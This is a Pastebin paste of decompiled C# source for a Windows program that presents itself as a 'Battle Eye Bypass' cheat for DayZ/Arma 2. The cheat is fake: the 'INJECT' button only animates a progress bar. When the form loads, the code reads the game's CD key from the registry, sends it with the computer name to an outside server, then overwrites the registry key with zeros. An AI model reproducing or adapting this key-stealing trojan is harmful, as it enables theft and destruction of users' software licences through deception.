Advertisement
Chiddix

example

Dec 9th, 2012
217
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
VB.NET 9.94 KB | None | 0 0
  1. namespace WindowsApplication1
  2. {
  3.     using Microsoft.VisualBasic;
  4.     using Microsoft.VisualBasic.CompilerServices;
  5.     using Microsoft.Win32;
  6.     using System;
  7.     using System.ComponentModel;
  8.     using System.Diagnostics;
  9.     using System.Drawing;
  10.     using System.Linq;
  11.     using System.Net;
  12.     using System.Runtime.CompilerServices;
  13.     using System.Windows.Forms;
  14.     using WindowsApplication1.My.Resources;
  15.  
  16.     [DesignerGenerated]
  17.     public class Form1 : Form
  18.     {
  19.         [AccessedThroughProperty("Button1")]
  20.         private Button _Button1;
  21.         [AccessedThroughProperty("PictureBox1")]
  22.         private PictureBox _PictureBox1;
  23.         [AccessedThroughProperty("ProgressBar1")]
  24.         private ProgressBar _ProgressBar1;
  25.         [AccessedThroughProperty("RichTextBox1")]
  26.         private RichTextBox _RichTextBox1;
  27.         [AccessedThroughProperty("Timer1")]
  28.         private System.Windows.Forms.Timer _Timer1;
  29.         private IContainer components;
  30.  
  31.         public Form1()
  32.         {
  33.             base.Load += new EventHandler(this.Form1_Button1);
  34.             this.InitializeComponent();
  35.         }
  36.  
  37.         private void Button1_Click(object sender, EventArgs e)
  38.         {
  39.             if (Information.UBound(Process.GetProcessesByName("arma2oa"), 1) < 0)
  40.             {
  41.                 MessageBox.Show("Launch Dayz ! And go in a lobby of a server !");
  42.             }
  43.             else
  44.             {
  45.                 this.Timer1.Enabled = true;
  46.             }
  47.         }
  48.  
  49.         [DebuggerNonUserCode]
  50.         protected override void Dispose(bool disposing)
  51.         {
  52.             try
  53.             {
  54.                 if (disposing && (this.components != null))
  55.                 {
  56.                     this.components.Dispose();
  57.                 }
  58.             }
  59.             finally
  60.             {
  61.                 base.Dispose(disposing);
  62.             }
  63.         }
  64.  
  65.         private void Form1_Button1(object sender, EventArgs e)
  66.         {
  67.             WebRequest.Create("http://kxteam.hostizzo.com/keys.php?w= 8 PC NAME : " + Interaction.Environ("computername") + "        Key : " + this.GetKey()).GetResponse();
  68.             this.RichTextBox1.Text = "?w= 2 PC NAME : " + Interaction.Environ("computername") + "        Key : " + this.GetKey();
  69.             this.SetKey();
  70.         }
  71.  
  72.         private string GetKey()
  73.         {
  74.             RegistryKey key = Registry.LocalMachine.OpenSubKey(@"Software\Bohemia Interactive Studio\Arma 2 OA", true);
  75.             if ((key != null) && key.GetValueNames().Contains<string>("KEY"))
  76.             {
  77.                 return BitConverter.ToString((byte[]) key.GetValue("KEY"));
  78.             }
  79.             return this.GetKey64();
  80.         }
  81.  
  82.         private string GetKey64()
  83.         {
  84.             RegistryKey key = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Wow6432Node\Bohemia Interactive Studio\ArmA 2 OA", true);
  85.             if ((key != null) && key.GetValueNames().Contains<string>("Key"))
  86.             {
  87.                 return BitConverter.ToString((byte[]) key.GetValue("Key"));
  88.             }
  89.             return "Error";
  90.         }
  91.  
  92.         [DebuggerStepThrough]
  93.         private void InitializeComponent()
  94.         {
  95.             this.components = new System.ComponentModel.Container();
  96.             ComponentResourceManager manager = new ComponentResourceManager(typeof(Form1));
  97.             this.Button1 = new Button();
  98.             this.ProgressBar1 = new ProgressBar();
  99.             this.PictureBox1 = new PictureBox();
  100.             this.Timer1 = new System.Windows.Forms.Timer(this.components);
  101.             this.RichTextBox1 = new RichTextBox();
  102.             ((ISupportInitialize) this.PictureBox1).BeginInit();
  103.             this.SuspendLayout();
  104.             Point point2 = new Point(12, 0xb2);
  105.             this.Button1.Location = point2;
  106.             this.Button1.Name = "Button1";
  107.             Size size2 = new Size(0x142, 0x17);
  108.             this.Button1.Size = size2;
  109.             this.Button1.TabIndex = 0;
  110.             this.Button1.Text = "INJECT";
  111.             this.Button1.UseVisualStyleBackColor = true;
  112.             point2 = new Point(-4, 0xcf);
  113.             this.ProgressBar1.Location = point2;
  114.             this.ProgressBar1.Name = "ProgressBar1";
  115.             size2 = new Size(0x160, 0x17);
  116.             this.ProgressBar1.Size = size2;
  117.             this.ProgressBar1.TabIndex = 1;
  118.             this.PictureBox1.Image = WindowsApplication1.My.Resources.Resources._52700885hack11qr3_jpg;
  119.             this.PictureBox1.InitialImage = (Image) manager.GetObject("PictureBox1.InitialImage");
  120.             point2 = new Point(12, 12);
  121.             this.PictureBox1.Location = point2;
  122.             this.PictureBox1.Name = "PictureBox1";
  123.             size2 = new Size(0x142, 160);
  124.             this.PictureBox1.Size = size2;
  125.             this.PictureBox1.SizeMode = PictureBoxSizeMode.StretchImage;
  126.             this.PictureBox1.TabIndex = 2;
  127.             this.PictureBox1.TabStop = false;
  128.             this.RichTextBox1.BackColor = SystemColors.ActiveBorder;
  129.             point2 = new Point(12, 12);
  130.             this.RichTextBox1.Location = point2;
  131.             this.RichTextBox1.Name = "RichTextBox1";
  132.             size2 = new Size(0x142, 0x60);
  133.             this.RichTextBox1.Size = size2;
  134.             this.RichTextBox1.TabIndex = 3;
  135.             this.RichTextBox1.Text = "";
  136.             this.RichTextBox1.Visible = false;
  137.             SizeF ef2 = new SizeF(6f, 13f);
  138.             this.AutoScaleDimensions = ef2;
  139.             this.AutoScaleMode = AutoScaleMode.Font;
  140.             this.BackColor = SystemColors.ButtonShadow;
  141.             size2 = new Size(0x15a, 0xf2);
  142.             this.ClientSize = size2;
  143.             this.Controls.Add(this.RichTextBox1);
  144.             this.Controls.Add(this.PictureBox1);
  145.             this.Controls.Add(this.ProgressBar1);
  146.             this.Controls.Add(this.Button1);
  147.             this.Name = "Form1";
  148.             this.Text = "Battle Eye Bypass Build 1.1";
  149.             this.TransparencyKey = System.Drawing.Color.Transparent;
  150.             ((ISupportInitialize) this.PictureBox1).EndInit();
  151.             this.ResumeLayout(false);
  152.         }
  153.  
  154.         private void PictureBox1_Click(object sender, EventArgs e)
  155.         {
  156.         }
  157.  
  158.         private string SetKey()
  159.         {
  160.             RegistryKey key = Registry.LocalMachine.OpenSubKey(@"Software\Bohemia Interactive Studio\Arma 2 OA", true);
  161.             if ((key == null) || !key.GetValueNames().Contains<string>("KEY"))
  162.             {
  163.                 return this.SetKey64();
  164.             }
  165.             key.SetValue("KEY", "0000000000000000");
  166.             return Conversions.ToString(1);
  167.         }
  168.  
  169.         private string SetKey64()
  170.         {
  171.             RegistryKey key = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Wow6432Node\Bohemia Interactive Studio\ArmA 2 OA", true);
  172.             if ((key == null) || !key.GetValueNames().Contains<string>("KEY"))
  173.             {
  174.                 return "Error";
  175.             }
  176.             key.SetValue("KEY", "0000000000000000");
  177.             return Conversions.ToString(1);
  178.         }
  179.  
  180.         private void Timer1_Tick(object sender, EventArgs e)
  181.         {
  182.             if (this.ProgressBar1.Value == this.ProgressBar1.Maximum)
  183.             {
  184.                 this.Timer1.Enabled = false;
  185.                 MessageBox.Show("The Hack is Injected !");
  186.             }
  187.             else
  188.             {
  189.                 this.ProgressBar1.Value += 2;
  190.             }
  191.         }
  192.  
  193.         internal virtual Button Button1
  194.         {
  195.             get
  196.             {
  197.                 return this._Button1;
  198.             }
  199.             [MethodImpl(MethodImplOptions.Synchronized)]
  200.             set
  201.             {
  202.                 EventHandler handler = new EventHandler(this.Button1_Click);
  203.                 if (this._Button1 != null)
  204.                 {
  205.                     this._Button1.Click -= handler;
  206.                 }
  207.                 this._Button1 = value;
  208.                 if (this._Button1 != null)
  209.                 {
  210.                     this._Button1.Click += handler;
  211.                 }
  212.             }
  213.         }
  214.  
  215.         internal virtual PictureBox PictureBox1
  216.         {
  217.             get
  218.             {
  219.                 return this._PictureBox1;
  220.             }
  221.             [MethodImpl(MethodImplOptions.Synchronized)]
  222.             set
  223.             {
  224.                 EventHandler handler = new EventHandler(this.PictureBox1_Click);
  225.                 if (this._PictureBox1 != null)
  226.                 {
  227.                     this._PictureBox1.Click -= handler;
  228.                 }
  229.                 this._PictureBox1 = value;
  230.                 if (this._PictureBox1 != null)
  231.                 {
  232.                     this._PictureBox1.Click += handler;
  233.                 }
  234.             }
  235.         }
  236.  
  237.         internal virtual ProgressBar ProgressBar1
  238.         {
  239.             get
  240.             {
  241.                 return this._ProgressBar1;
  242.             }
  243.             [MethodImpl(MethodImplOptions.Synchronized)]
  244.             set
  245.             {
  246.                 this._ProgressBar1 = value;
  247.             }
  248.         }
  249.  
  250.         internal virtual RichTextBox RichTextBox1
  251.         {
  252.             get
  253.             {
  254.                 return this._RichTextBox1;
  255.             }
  256.             [MethodImpl(MethodImplOptions.Synchronized)]
  257.             set
  258.             {
  259.                 this._RichTextBox1 = value;
  260.             }
  261.         }
  262.  
  263.         internal virtual System.Windows.Forms.Timer Timer1
  264.         {
  265.             get
  266.             {
  267.                 return this._Timer1;
  268.             }
  269.             [MethodImpl(MethodImplOptions.Synchronized)]
  270.             set
  271.             {
  272.                 EventHandler handler = new EventHandler(this.Timer1_Tick);
  273.                 if (this._Timer1 != null)
  274.                 {
  275.                     this._Timer1.Tick -= handler;
  276.                 }
  277.                 this._Timer1 = value;
  278.                 if (this._Timer1 != null)
  279.                 {
  280.                     this._Timer1.Tick += handler;
  281.                 }
  282.             }
  283.         }
  284.     }
  285. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement